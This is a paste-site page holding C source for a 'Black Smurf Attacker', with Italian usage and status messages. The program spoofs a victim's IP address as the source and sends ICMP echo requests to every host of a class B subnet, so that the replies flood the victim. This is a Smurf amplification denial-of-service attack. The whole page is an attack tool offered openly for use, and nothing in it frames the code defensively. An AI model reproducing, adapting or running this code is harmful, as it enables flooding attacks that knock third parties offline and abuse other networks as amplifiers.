KinG-InFeT.NeT ~ No-Paste

Titolo: Black Smurf Attacker Autore: BlackLight Data: 20.09.09 Numero Linee:   
  1. /**
  2.  * ~~~Black SMURF Attacker~~~
  3.  * by BlackLight, (C)2008
  4.  * Released under GPL licence v.3
  5.  */
  6.  
  7. #include <stdio.h>
  8. #include <unistd.h>
  9. #include <time.h>
  10. #include <sys/socket.h>
  11. #include <netinet/in.h>
  12. #include <linux/ip.h>
  13.  
  14. #define ICMP_ECHO 8
  15. #define IPLEN sizeof(struct iphdr)
  16. #define ICMPLEN sizeof(struct icmphdr)
  17.  
  18. typedef unsigned char u8;
  19. typedef unsigned short u16;
  20. typedef unsigned long u32;
  21.  
  22. struct icmphdr {
  23. u8 type;
  24. u8 code;
  25. u16 checksum;
  26. u16 id;
  27. u16 sequence;
  28. };
  29.  
  30. unsigned short csum (u16 *buf, int nwords) {
  31. unsigned long sum;
  32.  
  33. for (sum = 0; nwords > 0; nwords--)
  34. sum += *buf++;
  35. sum = (sum >> 16) + (sum & 0xffff);
  36. sum += (sum >> 16);
  37. return ~sum;
  38. }
  39.  
  40. main (int argc, char **argv) {
  41. int i,j,sd,one,len;
  42. unsigned char buff[BUFSIZ],in[BUFSIZ];
  43. char data[56];
  44. char *tmp;
  45.  
  46. struct sockaddr_in sin;
  47. struct iphdr *ip = (struct iphdr*) malloc(IPLEN);
  48. struct icmphdr *icmp = (struct icmphdr*) malloc(ICMPLEN);
  49.  
  50. if (!argv[1] || !argv[2]) {
  51. printf ("Uso: %s <ip_vittima> <subnet_classe_B>\n",argv[0]);
  52. exit(1);
  53. }
  54.  
  55. srand ((unsigned) time(NULL));
  56. sd=socket (PF_INET, SOCK_RAW, IPPROTO_ICMP);
  57.  
  58. for (j=0; j<0xFFFF; j++) {
  59. sin.sin_family=AF_INET;
  60. sin.sin_port=0;
  61. sin.sin_addr.s_addr=inet_addr(argv[2])+htonl(j);
  62.  
  63. memset (buff,0,sizeof(buff));
  64.  
  65. for (i=0; i<56; i++)
  66. data[i]=i;
  67.  
  68. ip->version=4;
  69. ip->ihl=5;
  70. ip->tos=0;
  71. ip->tot_len=IPLEN+ICMPLEN+sizeof(data);
  72. ip->id=0;
  73. ip->frag_off=0;
  74. ip->ttl=64;
  75. ip->protocol=IPPROTO_ICMP;
  76. ip->check=0;
  77. ip->saddr=inet_addr(argv[1]);
  78. ip->daddr=inet_addr(argv[2])+htonl(j);
  79. ip->check = csum ((u16*) buff, ip->tot_len >> 1);
  80.  
  81. icmp->type=ICMP_ECHO;
  82. icmp->code=0;
  83. icmp->checksum=0;
  84. icmp->id=1;
  85. icmp->sequence=1;
  86.  
  87. tmp = (char*) malloc(ICMPLEN+sizeof(data));
  88. memcpy (tmp, icmp, ICMPLEN);
  89. memcpy (tmp+ICMPLEN, data, sizeof(data));
  90. icmp->checksum=csum((u16*) tmp, ICMPLEN+sizeof(data) >> 1);
  91.  
  92. memcpy (buff, ip, IPLEN);
  93. memcpy (buff+IPLEN, icmp, ICMPLEN);
  94. memcpy (buff+IPLEN+ICMPLEN, data, sizeof(data));
  95.  
  96. one=1;
  97.  
  98. if (setsockopt (sd, IPPROTO_IP, IP_HDRINCL, &one, sizeof (one)) < 0)
  99. printf ("Attensione: Impossibile settare l'opzione HDRINCL!\n");
  100.  
  101. if (sendto (sd,
  102. buff,
  103. ip->tot_len,
  104. 0,
  105. (struct sockaddr *) &sin,
  106. sizeof (sin)) < 0) {
  107. printf ("Errore nell'invio\n");
  108. exit(1);
  109. } else
  110. printf ("Invio a %s OK\n",inet_ntoa(sin.sin_addr.s_addr));
  111. }
  112. }


Powered By 0xPaste
Versione: v1.6



[-Administration Panel-]